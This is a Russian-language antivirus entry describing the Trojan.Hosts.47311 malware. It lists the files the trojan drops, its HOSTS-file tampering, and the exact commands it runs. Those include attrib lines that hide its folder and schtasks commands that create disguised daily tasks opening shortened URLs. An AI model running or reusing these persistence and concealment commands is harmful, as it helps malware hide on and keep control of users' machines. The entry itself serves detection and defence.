Trojan.Hosts.47311

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\upnphostconfig
<SYSTEM32>\tasks\sihpostreboot
<SYSTEM32>\tasks\tempsignedlicenseexchange

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует отображение:

скрытых файлов

Изменения в файловой системе

Создает следующие файлы

%TEMP%\is-52rhv.tmp\<Имя файла>.tmp
%TEMP%\is-6u15r.tmp\requirementspanel.png
%TEMP%\is-6u15r.tmp\hdd.png
%TEMP%\is-6u15r.tmp\harddrivepanel.png
%TEMP%\is-6u15r.tmp\checkbox.png
%TEMP%\is-6u15r.tmp\click.wav
%TEMP%\is-6u15r.tmp\check.wav
%TEMP%\is-6u15r.tmp\wfenter.wav
%TEMP%\is-6u15r.tmp\button.png
%TEMP%\is-6u15r.tmp\edit.png
%TEMP%\is-6u15r.tmp\line.png
%TEMP%\is-6u15r.tmp\wizardsmallimage.png
%TEMP%\is-6u15r.tmp\1.png
%TEMP%\is-6u15r.tmp\wizardimg.png
%TEMP%\is-6u15r.tmp\workspace.png
%TEMP%\is-6u15r.tmp\grey&black.cjstyles
%TEMP%\is-6u15r.tmp\music.mp3
%TEMP%\is-6u15r.tmp\botva2.dll
%TEMP%\is-6u15r.tmp\cwa.exe
%TEMP%\is-6u15r.tmp\get_hw_caps.dll
%TEMP%\is-6u15r.tmp\bass.dll
%TEMP%\is-6u15r.tmp\unarc.dll
%TEMP%\is-6u15r.tmp\isskin.dll
%TEMP%\is-6u15r.tmp\isprogressbar.dll
%TEMP%\is-6u15r.tmp\innocallback.dll
%TEMP%\is-6u15r.tmp\idp.dll
%TEMP%\is-6u15r.tmp\_isetup\_shfoldr.dll
%TEMP%\is-6u15r.tmp\_isetup\_setup64.tmp
%TEMP%\is-6u15r.tmp\progressimg.png
%APPDATA%\microhp\drivers\x64\spl.exe

Присваивает атрибут 'скрытый' для следующих файлов

%APPDATA%\microhp\drivers\x64\spl.exe

Изменяет файл HOSTS.

Другое

Создает и запускает на исполнение

'%TEMP%\is-52rhv.tmp\<Имя файла>.tmp' /SL5="$90236,6456018,145920,<Полный путь к файлу>"
'%TEMP%\is-6u15r.tmp\cwa.exe'
'%TEMP%\is-6u15r.tmp\cwa.exe' ' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64" & attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64\*" /S /D' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:55" /sc daily /mo "0" /tn "NUC" /tr "'explorer'http://bi#.ly/389tMd0"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "23:19" /sc daily /mo "1" /tn "TempSignedLicenseExchange" /tr "'explorer'http://bi#.ly/2Tg0EwF"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "14:35" /sc daily /mo "2" /tn "UPnPHostConfig" /tr "'explorer'https://cutt.ly/OeOvSTh"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "14:04" /sc weekly /mo "0" /d "Tue" /tn "UPnPHostConfig" /tr "'explorer'https://cutt.ly/ieHKpdw"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:58" /sc monthly /m "feb" /tn "sihpostreboot" /tr "'explorer'http://bi#.ly/37MFbiy"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "06:11" /sc daily /mo "0" /tn "Security Chip (TPM) Function" /tr "'explorer'http://bi#.ly/2vOgghc"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "14:10" /sc daily /mo "7" /tn " TPM 2.0 " /tr "'explorer'http://bi#.ly/2SML3DW"' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64" & attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64\*" /S /D
'%WINDIR%\syswow64\attrib.exe' +H +S +R "%APPDATA%\\MicroHP\Drivers\X64"
'%WINDIR%\syswow64\attrib.exe' +H +S +R "%APPDATA%\\MicroHP\Drivers\X64\*" /S /D
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:55" /sc daily /mo "0" /tn "NUC" /tr "'explorer'http://bi#.ly/389tMd0"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "23:19" /sc daily /mo "1" /tn "TempSignedLicenseExchange" /tr "'explorer'http://bi#.ly/2Tg0EwF"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "14:35" /sc daily /mo "2" /tn "UPnPHostConfig" /tr "'explorer'https://cutt.ly/OeOvSTh"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "14:04" /sc weekly /mo "0" /d "Tue" /tn "UPnPHostConfig" /tr "'explorer'https://cutt.ly/ieHKpdw"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:58" /sc monthly /m "feb" /tn "sihpostreboot" /tr "'explorer'http://bi#.ly/37MFbiy"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "06:11" /sc daily /mo "0" /tn "Security Chip (TPM) Function" /tr "'explorer'http://bi#.ly/2vOgghc"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "14:10" /sc daily /mo "7" /tn " TPM 2.0 " /tr "'explorer'http://bi#.ly/2SML3DW"